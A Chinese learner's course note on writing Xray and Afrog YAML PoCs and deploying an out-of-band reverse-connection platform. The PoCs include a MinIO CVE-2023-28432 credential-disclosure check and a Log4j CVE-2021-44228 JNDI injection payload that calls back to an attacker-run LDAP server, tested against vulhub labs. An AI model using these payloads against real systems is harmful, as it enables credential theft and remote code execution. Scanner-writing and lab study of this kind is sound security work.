小迪安全v2023学习笔记(一百零三讲)—— 漏扫项目篇PoC开发Rule语法反链判断不回显检测Yaml生成
文章目录
- 前记
- 漏洞发现——第一百零三天
- 漏扫项目篇&PoC开发&Rule语法&反链判断&不回显检测&Yaml生成
- Xray&Afrog - PoC开发-环境配置&编写流程
- Xray - PoC开发-数据回显&RCE不回显&实验室
- 分析PoC执行情况
- 开发流程
- 案例1:CVE-2023-28432(匹配结果)
- 案例2:CVE-2021-44228(无回显匹配)
- Afrog - PoC开发-数据回显&RCE不回显&JNDI注入
- 开发流程
- 案例1:CVE-2023-28432(有回显判断)
- 案例2:CVE-2021-44228(无回显判断)
- dns
- jndi
前记
- 今天是学习小迪安全的第一百零三天,本节课主要内容是其他工具的PoC开发,了解一下如何写PoC,然后熟悉工具的使用
漏洞发现——第一百零三天
漏扫项目篇&PoC开发&Rule语法&反链判断&不回显检测&Yaml生成
Xray&Afrog - PoC开发-环境配置&编写流程
- 上节课讲了关于Nuclei这款工具的PoC开发,这节课主要是再讲其他两款工具——Xray和Afrog的PoC开发
- 虽然都是使用yaml来开发,但由于每款工具都有它的解析语法,所以也有蛮大的不同,也需要了解一下
- 开发的环境还是VSCode + YAML插件
Xray - PoC开发-数据回显&RCE不回显&实验室
分析PoC执行情况
-
开发参考文章:
- Xray PoC模板生成:https://poc.xray.cool/
- Xray PoC官方开发文档:https://docs.xray.cool/plugins/practice/poc/Template
- Xray PoC编写参考文章:
- https://mp.weixin.qq.com/s/XeF10F5xw19AymX34vALIw
- https://cloud.tencent.com/developer/article/1949351
-
分析技巧:配置
config.yaml
文件,使用代理转到BP看数据包分析
-
调试PoC:
.\xray_windows_amd64.exe --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx --html-output xx.html
开发流程
- 其实这里同样,我们可以使用一个官方的PoC模板进行套用,但在此之前,我们简单了解一下Xray的PoC组成:
- 第一部分:名称部分
# 按照标准都是如下名称开头
name: poc-yaml-xxx
- 第二部分:rules: []Rule 脚本部分
set: 定义全局变量
transport: 通信协议
rules:规则,poc请求路径,请求内容,回显信息都由此匹配
method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string, 作用是判断该条Rule的结果
search: string, 作用是从返回包中提取信息
method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包
- 第三部分:信息部分
# 就是平时xray扫描得到漏洞时xray返回的那一串爆红信息
# 包括作者、参考文章、漏洞评级等等
detail: map[string]string
案例1:CVE-2023-28432(匹配结果)
- 这里我们还是用昨天的例子来演示,PoC文章:https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
- 然后我们根据上面说的写出如下PoC:
name: poc-yaml-CVE-2023-28432transport: http
rules:r0:request:method: POSTpath: /minio/bootstrap/v1/verify# 设置头部中重要的信息,这里只有这个比较重要,所以只设置这一个即可headers:Content-Type: application/x-www-form-urlencodedexpression: |response.status == 200 && response.body_string.contains("MINIO_ROOT_USER") && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression: r0()detail:author: ulinlinks:- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q- https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ
- 一定要注意缩进,这里是4个空格,否则它无法解析成功!,然后每个地方都要写正确,不然也没办法扫出漏洞!
.\xray_windows_amd64.exe webscan --poc "D:\Download\test\test.yaml" --url http://192.168.0.143:9000 --html-output 1.html
案例2:CVE-2021-44228(无回显匹配)
-
这个用一个log4j的靶场,就是没有回显的案例,他需要去解析dns网址才能够判断漏洞是否存在
-
那这种的话,在Xray和其他的漏扫工具中,如果没有配置过反连平台,基本都是扫不出来的,只能在PoC中写死dns地址,然后手工去看哪个网址访问过
-
那么如何配置这个反连平台呢?参考文章:提升Xray挖洞能力-反连平台部署_xray反连平台-CSDN博客
-
首先我们需要准备一台服务器和一个域名,然后去官网下载同本地相同版本的xray到服务器上:
-
然后在服务器上执行如下命令,配置环境:
# 先直接yum安装libpcap-devel:
yum install libpcap-devel
yum -y install mlocate
updatedb
locate libpcap# 然后配置相关环境:
cd /usr/lib64
ln -s libpcap.so.1.5.3 libpcap.so.0.8
-
转到
xray
目录,赋予其执行权限之后,就可以执行了:
-
然后根据官方文档,配置一下服务器端的
config.yaml
文件,直接复制粘贴过来改一些东西,然后复制进对应位置即可:
# 反连平台配置,更多解释见 https://docs.xray.cool/#/configration/reverse
# 注意: 默认配置为禁用反连平台,这是无法扫描出依赖反连平台的漏洞,这些漏洞包括 fastjson,ssrf 以及 poc 中依赖反连的情况等
reverse:db_file_path: "reverse.db" # 反连平台数据库文件位置, 这是一个 KV 数据库token: "<自己设置token>" # 反连平台认证的 Token, 独立部署时不能为空http:enabled: truelisten_ip: 0.0.0.0listen_port: "33899"ip_header: "" # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取dns:enabled: truelisten_ip: 0.0.0.0 domain: "<自己购买的域名>" # DNS 域名配置is_domain_name_server: true # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了resolve: # DNS 静态解析规则- type: A # A, AAAA, TXT 三种record: ns1value: <VPSIP>ttl: 60- type: A # A, AAAA, TXT 三种record: ns2value: <VPSIP>ttl: 60client:remote_server: false # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址http_base_url: "http://<VPSIP>:33899/" # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置dns_server_ip: "<VPSIP>" # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
- 修改完成后,启动反连平台看一下是否配置成功:
./xray reverse
-
访问
http://VPS的IP地址:33899/cland/
如果有页面就说明生效(如果无法连接尝试关闭防火墙、安全组):
-
接下来配置DNS解析,添加ns1、ns2的A记录,指向VPSIP:
-
然后配置DNS服务器,位置在 域名控制台 → 域名列表 → 管理 → DNS管理 → 自定义DNS Host:
-
再修改DNS服务器为刚才创建的两个DNS服务器:
-
等待大概十多分钟之后,我们进入反连平台的UI管理界面,通过Token登录之后,创建一个DNS域名:
-
这里可以本地去 ping ping 看有没有生效
-
到此服务器的配置就结束了,我们接下来配置客户端也就是本地xray的
config.yaml
文件,修改之后复制到原本的文件即可:
# 反连平台配置,更多解释见 https://docs.xray.cool/#/configration/reverse
# 注意: 默认配置为禁用反连平台,这是无法扫描出依赖反连平台的漏洞,这些漏洞包括 fastjson,ssrf 以及 poc 中依赖反连的情况等
reverse:db_file_path: "" # 反连平台数据库文件位置, 这是一个 KV 数据库token: "<与服务器端相同的Token>" # 反连平台认证的 Token, 独立部署时不能为空http:enabled: falselisten_ip: 0.0.0.0 listen_port: ""ip_header: "" # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取dns:enabled: falselisten_ip: 0.0.0.0 domain: "<自己购买的域名>" # DNS 域名配置is_domain_name_server: false # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了resolve: # DNS 静态解析规则- type: A # A, AAAA, TXT 三种record: localhostvalue: 127.0.0.1ttl: 60client:remote_server: true # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址http_base_url: "http://<VPSIP>:33899/" # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置dns_server_ip: "<VPSIP>" # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
- 此时我们vulhub起一个log4j靶场,然后尝试用PoC扫一下:
.\xray_windows_amd64.exe webscan --poc poc-go-apache-log4j2-rce --url http://192.168.0.143:8983/solr/admin/cores?action=123
- 如果我们将配置取消掉的话,就没办法扫出这个漏洞了
Afrog - PoC开发-数据回显&RCE不回显&JNDI注入
开发流程
- 对于Afrog这款工具,它的PoC语法又不太一样,有点Nuclei和Xray结合的味道,开发参考文章:https://github.com/zan8in/afrog/wiki/Usage#pocs
- 如果要对PoC的数据包进行分析,可以设置
--proxy=127.0.0.1:8080
参数:
# 去掉CVE-2024-23897是因为它莫名其妙会报错
afrog.exe -proxy http://127.0.0.1:8080 -t http://testphp.vulnweb.com/ -ep CVE-2024-23897
- 然后我们的开发流程:
-
第一部分:id info 编号 信息(类似nuclei)
-
第二部分:set rules 变量 脚本(类似xray)
-
第三部分:expression 判断 执行(类似xray)
案例1:CVE-2023-28432(有回显判断)
- 这个就不用再多说了,直接照着写如下yaml文件即可:
id: CVE-2023-28432info:name: MinIO集群模式信息泄露漏洞(CVE-2023-28432)author: ulinseverity: criticalreference:- https://vulhub.org/#/environments/minio/CVE-2023-28432/rules:r0:request:method: POSTpath: /minio/bootstrap/v1/verifyheaders:Content-Type: application/x-www-form-urlencodedexpression: response.status == 200 && response.body.bcontains(b"MINIO_ROOT_USER") && response.body.bcontains(b"MINIO_ROOT_PASSWORD")
expression: r0()
案例2:CVE-2021-44228(无回显判断)
-
无回显可以是dns的,可以是jndi注入的,这里我就直接两个都放一个例子讲了
-
我们可以打开Afrog的配置文件看看,默认路径为:
$HOME/.config/afrog/afrog-config.yaml
:
-
它是提供了这两种漏洞检测的服务的,我们只需要配置对应的服务器地址即可加以判断
dns
-
比如我们可以配置dns服务器,这里支持
ceye.io
这个平台,我们给他key和地址即可:
-
他就能够在扫描时去访问这个dns服务器,但是同样,它只能是告诉你可能有漏洞去访问这个dns服务器,我们需要通过抓包然后看发哪些包的时候访问了,然后一个一个看:
jndi
- 同样,这个也是,我们在服务器上起一个jndi服务:
java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
-
然后将信息写到配置文件中:
-
写一个PoC文件为:
id: solr-log4j-rce
info:name: Apache Solr Log4j Remote Code Executionauthor: xiaodisecseverity: criticalverified: truecreated: 2023/10/16
set:reverse: newJNDI()jndiURL: reverse.url.host + reverse.url.path
rules:r0:request:method: GETpath: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=jsonexpression: reverse.jndi(5)
expression: r0()
-
它就会成功识别到:
-
但是这里我没有成功,不知道什么情况,搞不懂,有时候就真的很奇怪,明明是同样的复现流程,有时候行有时候又不行,哎,头痛